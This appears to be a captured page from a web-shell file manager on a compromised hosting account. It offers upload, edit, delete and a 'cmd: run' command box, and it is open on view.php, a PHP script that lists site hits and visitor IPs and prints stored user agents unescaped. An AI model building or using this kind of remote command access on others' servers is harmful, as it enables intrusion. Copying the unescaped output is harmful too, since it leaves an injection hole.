/
home
/
techb158
/
immovalet.ca
/
report
/
Master
/
local
/
/home/techb158/immovalet.ca/report/Master/local
mkdir
upload
Name
Size
Mode
Actions
.htaccess
1005
0666
edit
dl
rm
counter_config.php
753
0666
edit
dl
rm
geoiploc.php
2523139
0666
edit
dl
rm
view.php
3646
0666
edit
dl
rm
Edit:
/home/techb158/immovalet.ca/report/Master/local/view.php
(3646B)
<?php include("../common_M.php"); include("geoiploc.php"); // Must include this ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> <title>Hit viewer</title> <link href="style.css" rel="stylesheet" type="text/css" /> </head> <body> <?php //include("../Config/common_M.php"); // ########################### // ### Connect to database ### // ########################### // ###################### // ### get total hits ### // ###################### global $dbhost, $dbuser, $dbpass, $dbname, $dbtablehits,$dbtableinfo,$maxrows; $link = mysqli_connect($dbhost, $dbuser, $dbpass); if (!$link) { die('Could not connect: ' . mysqli_error()); // remove ? } $dbselect=mysqli_select_db($link,$dbname); if (!$dbselect) { die ("Can't use database $dbname! : " . mysqli_error()); // remove ? } $query = "SELECT SUM(count) AS totalhits FROM hits"; $result = mysqli_query($link,$query) or die(mysqli_error()); while($row = mysqli_fetch_array($result)) { $totalhits = $row['totalhits'] ; } // #################### // ### Display hits ### // #################### echo '<h3>Hits</h3>' ; $result = mysqli_query($link,"SELECT * FROM " . $dbtablehits . " ORDER BY count DESC"); echo "<table width='100%' border='0'>"; echo ' <tr> <td height="2" bgcolor="#1AC414" width="400">Page</td> <td height="2" bgcolor="#1AC414" width="169"> Hits</td> </tr>' ; // keeps getting the next row until there are no more to get while($row = mysqli_fetch_array( $result )) { // Print out the contents of each row into a table echo '<tr><td bgcolor="#75D169">'; echo $row['page']; echo '</td><td bgcolor="#75D169">'; echo $row['count']; echo '</td></tr>'; } echo "<tr><td bgcolor=\"#1AC414\"> <strong> Total Hits </strong> </td><td bgcolor=\"#1AC414\"> <strong> $totalhits </strong> </td></tr>" ; echo "</table><br /> "; // ############################ // ### get total unique IPs ### // ############################ $result=mysqli_query($link,"SELECT MAX(id) FROM info"); while ($row = mysqli_fetch_array($result, MYSQL_NUM)) { $totalips = $row[0] ; } // ######################## // ### Display visitors ### // ######################## echo '<h3> Visitors </h3>' ; $result = mysqli_query($link,"SELECT * FROM $dbtableinfo ORDER BY id DESC") or die(mysqli_error()); echo "<table width='100%' border='0'>"; echo "<tr><td bgcolor=\"#1AC414\"> <strong> Total unique IP´s </strong> </td><td bgcolor=\"#1AC414\"> <strong> $totalips </strong> </td></tr>" ; echo '<tr> <td width="200" bgcolor="#1AC414"> IP </td> <td height="2" bgcolor="#1AC414" width="400">User agent</td> <td height="2" bgcolor="#1AC414" width="169"> Date & Time</td><td height="2" bgcolor="#1AC414" width="169">Country</td></tr>'; // keeps getting the next row until there are no more to get while($row = mysqli_fetch_array( $result )) { // Print out the contents of each row into a table echo '<tr><td bgcolor="#75D169">'; echo $row['ip_address']; echo '</td><td bgcolor="#75D169">'; echo $row['user_agent']; echo '</td><td bgcolor="#75D169">'; echo $row['datetime']; echo '</td><td bgcolor="#75D169">'; echo getCountryFromIP($row['ip_address'], " NamE "); echo "</td></tr>"; } echo "</table><br /> "; ?> </body> </html>
Save
cmd:
run